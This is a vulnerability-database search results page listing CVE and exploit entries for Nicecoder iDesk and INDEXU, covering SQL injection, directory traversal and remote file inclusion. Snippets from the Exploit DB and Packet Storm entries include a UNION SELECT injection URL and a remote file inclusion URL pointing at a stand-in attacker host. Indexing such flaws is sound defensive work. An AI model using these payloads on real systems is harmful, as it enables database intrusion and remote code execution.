Lucene search
K

14 matches found

EUVD
EUVD
added 2025/10/07 12:30 a.m.1 views

EUVD-2005-3838

Malware in sbrugna...

7.5CVSS6.4AI score0.00816EPSS
Exploits0References7
EUVD
EUVD
added 2025/10/07 12:30 a.m.1 views

EUVD-2009-4589

Malware in sbrugna...

7.5CVSS6.4AI score0.00323EPSS
Exploits2References5
Prion
Prion
added 2010/01/18 8:30 p.m.11 views

Sql injection

SQL injection vulnerability in download.php in Nicecoder iDesk allows remote attackers to execute arbitrary SQL commands via the catid parameter, a different vector than CVE-2005-3843...

7.5CVSS8.7AI score0.00816EPSS
Exploits2References4
NVD
NVD
added 2010/01/18 8:30 p.m.8 views

CVE-2009-4624

SQL injection vulnerability in download.php in Nicecoder iDesk allows remote attackers to execute arbitrary SQL commands via the catid parameter, a different vector than CVE-2005-3843...

7.5CVSS8.2AI score0.00323EPSS
Exploits2References4
Cvelist
Cvelist
added 2010/01/18 8:0 p.m.17 views

CVE-2009-4624

SQL injection vulnerability in download.php in Nicecoder iDesk allows remote attackers to execute arbitrary SQL commands via the catid parameter, a different vector than CVE-2005-3843...

8.2AI score0.00323EPSS
Exploits2References4
CVE
CVE
added 2010/01/18 8:0 p.m.36 views

CVE-2009-4624

CVE-2009-4624 affects Nicecoder iDesk via a SQL injection in download.php that is exploitable through the cat_id parameter. The vulnerability is in the application layer where user-supplied cat_id can cause arbitrary SQL execution, with impact described as arbitrary SQL commands being run by an a...

7.5CVSS8.6AI score0.00323EPSS
Exploits2References4Affected Software1
Exploit DB
Exploit DB
added 2009/09/10 12:0 a.m.38 views

iDesk - 'download.php?cat_id' SQL Injection

Viva IslaM Viva IslaM Remote SQL Injection Vulnerability download.php catid iDesk http://www.nicecoder.com AuTh0r : Mr.SQL H0ME : WwW.55a.NeT Email : [email protected] -: ExploiteS :- www.TraGeT.CoM/download.php?catid=-1+UNION+SELECT+0,0,0,@@VERSION,0,0,0,0,0-- -:: !Gr3E3E3E3E3E3E3TzZ! ::- ::...

7AI score
Exploits0
Cvelist
Cvelist
added 2007/01/19 12:0 a.m.22 views

CVE-2007-0349

Directory traversal vulnerability in upgrade.php in nicecoder.com INDEXU 5.x allows remote attackers to include arbitrary local files via a .. dot dot in the gateway parameter...

6.6AI score0.00229EPSS
Exploits0References3
CVE
CVE
added 2007/01/19 12:0 a.m.43 views

CVE-2007-0349

CVE-2007-0349 affects nicecoder.com INDEXU 5.x via upgrade.php. The gateway parameter allows directory traversal (..), enabling remote attackers to include arbitrary local files. This is documented across NVD and CVE records as a directory traversal vulnerability in upgrade.php, with the impact l...

5CVSS6.6AI score0.00229EPSS
Exploits0References3Affected Software1
securityvulns
securityvulns
added 2006/06/17 12:0 a.m.61 views

Indexu v 5.0.01 Multiple Remote File Include Vulnerabilities

Discovered By CrAshoVeRrIdE indexu remote file include -------------------------- site of script:http://www.nicecoder.com/ ------------------------------------------------- Vulnerable: INDEXU v5.0.1 file include ------------ include$admintemplatepath."msg.php"; admintemplatepath parameter File...

0.1AI score
Exploits0
Packet Storm
Packet Storm
added 2006/04/12 12:0 a.m.26 views

Indexu-5.0.1.txt

Application : Indexu version : 5.0.0 5.0.1 URL : http://www.nicecoder.com/ Vulnerable: INDEXU = 5.0.1 themepathand basepath Remote File Inclusion Exploit Discovery by SnIpErSA in themepath this file : exploit: http://example.com/indexu/index.php?themepath=http://evil.txt?cmd...

7.4AI score
Exploits0
NVD
NVD
added 2005/11/26 10:3 p.m.8 views

CVE-2005-3843

SQL injection vulnerability in faq.php in Nicecoder iDesk 1.0 allows remote attackers to execute arbitrary SQL commands via the catid parameter...

7.5CVSS8.3AI score0.00816EPSS
Exploits0References6
CVE
CVE
added 2005/11/26 10:0 p.m.49 views

CVE-2005-3843

CVE-2005-3843 describes an SQL injection in Nicecoder iDesk 1.0, specifically in faq.php via the cat_id parameter, allowing remote attackers to execute arbitrary SQL commands. The connected documents confirm the vulnerable component (faq.php, cat_id) and the impact (arbitrary SQL execution); no e...

7.5CVSS8.4AI score0.00816EPSS
Exploits0References6Affected Software1
Cvelist
Cvelist
added 2005/11/26 10:0 p.m.16 views

CVE-2005-3843

SQL injection vulnerability in faq.php in Nicecoder iDesk 1.0 allows remote attackers to execute arbitrary SQL commands via the catid parameter...

8.3AI score0.00816EPSS
Exploits0References6
Rows per page
Query Builder